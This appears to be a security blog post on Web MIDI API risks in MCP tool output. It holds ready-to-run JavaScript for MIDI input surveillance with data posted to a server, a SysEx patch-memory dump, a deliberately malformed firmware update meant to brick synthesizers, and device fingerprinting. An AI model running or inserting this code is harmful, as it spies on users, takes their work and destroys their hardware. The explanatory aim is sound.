MCP Server Security · Web MIDI API · navigator.requestMIDIAccess · MIDI Port · SysEx · System Exclusive · Synthesizer Memory · Hardware Bricking · MIDI Surveillance · Device Fingerprinting
MCP server Web MIDI API security
The Web MIDI API grants access to all connected MIDI devices simultaneously with a single permission prompt — no per-device picker. When sysex: true is enabled, MCP tool output gains the ability to read and write synthesizer patch memory, trigger firmware updates, and send malformed System Exclusive messages that can permanently damage hardware. Even without SysEx, all MIDI note, controller, and program-change events from every connected device are exposed.
Web MIDI API surface
// Web MIDI API — Chrome 43+, Edge 79+; requires HTTPS; user gesture required
// NOTE: unlike WebUSB/WebHID, requestMIDIAccess() grants access to ALL MIDI ports simultaneously
// No per-device picker — user approves "access to MIDI devices" and every connected port is granted
// Request MIDI access (without SysEx — basic note/controller messages only)
const midiAccess = await navigator.requestMIDIAccess();
// Request MIDI access WITH SysEx — unlocks System Exclusive messages
// Browser shows a more prominent warning; Chrome requires HTTPS + secure context
const midiAccessSysEx = await navigator.requestMIDIAccess({ sysex: true });
// Enumerate all connected MIDI ports (no per-device prompt — all are granted at once)
for (const [id, input] of midiAccess.inputs) {
console.log({
id,
name: input.name, // e.g., "Roland FA-06", "Arturia KeyLab 61"
manufacturer: input.manufacturer, // e.g., "Roland Corporation", "Arturia"
state: input.state, // 'connected' | 'disconnected'
connection: input.connection // 'open' | 'closed' | 'pending'
});
}
for (const [id, output] of midiAccess.outputs) {
// Same fields; also has output.send(data, timestamp)
output.send([0x90, 60, 127]); // Note On: channel 1, middle C, velocity 127
output.send([0xF0, 0x41, 0x10, 0x42, 0x12, 0x00, 0xF7]); // SysEx message to Roland
}
// Listen for device connect/disconnect
midiAccess.onstatechange = e => {
console.log(`${e.port.name} ${e.port.state}`);
};
// Receive all MIDI messages from all connected input ports
for (const [, input] of midiAccess.inputs) {
input.onmidimessage = e => {
const [status, data1, data2] = e.data;
// status byte encodes message type + channel
// 0x90 = Note On, 0x80 = Note Off, 0xB0 = Control Change, 0xF0 = SysEx start
};
}
All MIDI ports granted simultaneously: Unlike WebHID and WebUSB which present a per-device picker, Web MIDI's requestMIDIAccess() grants the page access to every MIDI input and output port connected to the computer with a single dialog. If the user has 6 MIDI devices connected, all 6 are granted. There is no way to selectively approve only one device at the browser level.
Attack 1 — MIDI input surveillance
All MIDI Note On, Note Off, Control Change, Pitch Bend, and Aftertouch messages from all connected MIDI input ports are delivered to the onmidimessage handler. For a music producer, this captures every note played on their MIDI keyboard — a complete performance record. For a studio monitoring setup, it reveals song structure, arrangement decisions, and creative process details. Control Change messages reveal fader, knob, and button states — capturing automation data and workflow patterns.
// Attack: log all MIDI events from all connected devices
// Captures: notes played, velocity, controller values, program changes, pitch bend
async function midiSurveillance() {
const midi = await navigator.requestMIDIAccess(); // all ports granted
const eventLog = [];
for (const [id, input] of midi.inputs) {
input.onmidimessage = e => {
const [status, data1, data2] = e.data;
const msgType = status & 0xF0; // message type (upper nibble)
const channel = status & 0x0F; // MIDI channel 0–15
const event = {
ts: e.timeStamp,
device: input.name,
channel: channel + 1,
type: msgType === 0x90 ? 'note_on' :
msgType === 0x80 ? 'note_off' :
msgType === 0xB0 ? 'cc' :
msgType === 0xE0 ? 'pitch_bend':
msgType === 0xC0 ? 'program' : `raw_${status.toString(16)}`,
data1, // note number (0–127) or CC number
data2 // velocity (0–127) or CC value
};
eventLog.push(event);
if (eventLog.length >= 100) {
// Exfiltrate batch of MIDI events
fetch('/api/midi-log', { method: 'POST', body: JSON.stringify(eventLog.splice(0)) });
}
};
}
// Detect connect/disconnect of MIDI devices
midi.onstatechange = e => {
fetch('/api/midi-hw', { method: 'POST', body: JSON.stringify({
device: e.port.name, manufacturer: e.port.manufacturer, event: e.port.state
})});
};
}
Attack 2 — SysEx privilege escalation: patch memory dump
System Exclusive (SysEx) messages use a manufacturer-specific format for direct communication with a device's internal memory. Every major synthesizer manufacturer publishes a MIDI implementation chart with SysEx specifications. Bulk Dump Request messages ask the device to transmit all of its user patches, performance settings, and stored samples. This leaks the user's preset library — potentially thousands of hours of creative work — over the MIDI interface.
// Attack: dump all user patches from a Roland synthesizer via SysEx Bulk Dump Request
// Roland SysEx format: F0 41 [device_id] [model_id] [command] [address 3B] [size 3B] [checksum] F7
async function rolandBulkDump(midiOutput, deviceId) {
// Roland SysEx: request bulk dump of all user patches (address 0x10 0x00 0x00, size 0x40 0x00 0x00)
// Manufacturer: 0x41 (Roland), Model: 0x42 (FA-06/FA-08), Command: 0x11 (RQ1 = data request)
const sysex = [
0xF0, // SysEx start
0x41, // Roland manufacturer ID
deviceId, // Device ID (0x10 = device 17, typically default)
0x00, 0x00, 0x77, // Model ID (FA series: 0x00 0x00 0x77)
0x11, // Command: RQ1 (data request — request data transfer from device)
0x10, 0x00, 0x00, // Address: start of user patch bank
0x00, 0x40, 0x00, // Size: 64 patches (0x40 = 64 in Roland addressing)
0x30, // Checksum: 0x80 - ((sum of address + size bytes) & 0x7F)
0xF7 // SysEx end
];
// Device responds with a stream of SysEx Bulk Dump messages containing all user patch data
midiOutput.send(sysex);
// Listen for response on the corresponding input port
// Each response packet contains patch parameter values (oscillator, filter, envelope, effects)
// Reconstructed patch bank = all user-defined sounds from this synthesizer
}
// Yamaha equivalent — bulk dump request for user voices (DX7, Montage, MODX)
// F0 43 [device_id] 09 [bank_MSB] [bank_LSB] F7 → device sends all 128 user voices
Attack 3 — hardware bricking via malformed SysEx firmware update
Many synthesizers and MIDI controllers support firmware updates via SysEx. The firmware update SysEx format is often undocumented or partially documented. Sending a SysEx message that begins a firmware update sequence but provides malformed data — wrong checksums, truncated firmware, incorrect model ID — can corrupt the device's bootloader or internal flash, requiring specialized factory reset tools. Some devices have no recovery path if the bootloader is overwritten.
// Attack: initiate and corrupt a SysEx firmware update to brick a MIDI device
// This is DESTRUCTIVE — for educational understanding only
// Generic SysEx firmware update start sequence (varies by manufacturer)
// The attack: send a firmware update initiation without completing the update
// → device enters firmware update mode → if interrupted or malformed → bootloader may corrupt
async function sysexFirmwareCorrupt(midiOutput, manufacturerId, modelId) {
// Step 1: Send "enter firmware update mode" command
const enterUpdateMode = [
0xF0,
...manufacturerId, // manufacturer ID bytes (e.g., [0x00, 0x01, 0x6E] for Novation)
...modelId, // model-specific ID
0x7F, // command: firmware update initiation (common convention)
0xF7
];
midiOutput.send(enterUpdateMode);
// Step 2: Wait for device to enter update mode (typically 500ms)
await new Promise(r => setTimeout(r, 500));
// Step 3: Send a firmware block with a deliberately wrong checksum
// → Device verifies checksum → fails → may not recover from interrupted update state
const fakeBlock = [
0xF0,
...manufacturerId,
...modelId,
0x01, // command: firmware block
// Firmware data in 7-bit MIDI encoding (each 8 bytes → 9 MIDI bytes)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // fake firmware data (all zeros)
0x00, // block index
0x7F, // wrong checksum (forces validation failure mid-update)
0xF7
];
midiOutput.send(fakeBlock);
// If the device does not have atomic flash update semantics:
// → Flash is partially written with zeros
// → Bootloader verification fails on restart
// → Device is permanently bricked: no MIDI response, no USB enumeration
// Recovery requires JTAG/SWD programmer or manufacturer service center
}
// Affected device categories:
// - Budget synthesizers without cryptographic firmware signing
// - DIY MIDI controllers without update verification
// - Older MIDI-USB interfaces with exposed SysEx update command
Attack 4 — MIDI device fingerprinting
MIDI port names and manufacturer strings are stable hardware identifiers that persist across OS reinstalls and browser data clears. The combination of port names across all connected MIDI devices creates a high-entropy fingerprint: a user with a Roland FA-06, a Focusrite Scarlett, and an Arturia KeyLab has a combination that is statistically very rare. This fingerprint is available without any note events — just enumerating port names via midiAccess.inputs and midiAccess.outputs.
// MIDI device fingerprinting via port enumeration
// Available from the first requestMIDIAccess() call — no SysEx required
async function midiFingerprint() {
const midi = await navigator.requestMIDIAccess();
const inputs = [...midi.inputs.values()].map(p => ({
name: p.name, manufacturer: p.manufacturer, type: p.type
}));
const outputs = [...midi.outputs.values()].map(p => ({
name: p.name, manufacturer: p.manufacturer, type: p.type
}));
const fingerprint = {
inputs,
outputs,
// Port combination uniquely identifies the studio setup
// Survives: browser data clear, OS reinstall, VPN/IP change
// Does NOT survive: physical device removal
hash: await crypto.subtle.digest('SHA-256',
new TextEncoder().encode(JSON.stringify({ inputs, outputs }))
).then(b => Array.from(new Uint8Array(b)).map(b => b.toString(16).padStart(2,'0')).join(''))
};
await fetch('/api/midi-fingerprint', {
method: 'POST',
body: JSON.stringify(fingerprint)
});
return fingerprint;
}
// Even without notes or SysEx, the port names reveal:
// - What instruments/controllers the user owns (Roland, Korg, Arturia, Native Instruments)
// - Whether the user is a professional (full studio setup) vs hobbyist (single keyboard)
// - DAW and audio interface combination (ASIO/CoreAudio driver port names)
What SkillAudit checks
Browser and platform support
| Platform | Web MIDI (basic) | SysEx support | All-ports-at-once | Permissions-Policy |
|---|---|---|---|---|
| Chrome 43+ | Full | Yes (sysex:true prompt) | Yes | midi=() blocks API |
| Edge 79+ | Full | Yes | Yes | midi=() |
| Firefox | Via Web MIDI API plugin only | Plugin-dependent | Plugin-dependent | N/A |
| Safari | Not supported natively | Not supported | N/A | N/A |
| Electron | Full (Chromium) | Yes | Yes | Via webPreferences |
Related: WebUSB API security · WebHID API security · Web Serial API security · Web Locks deep dive · All security posts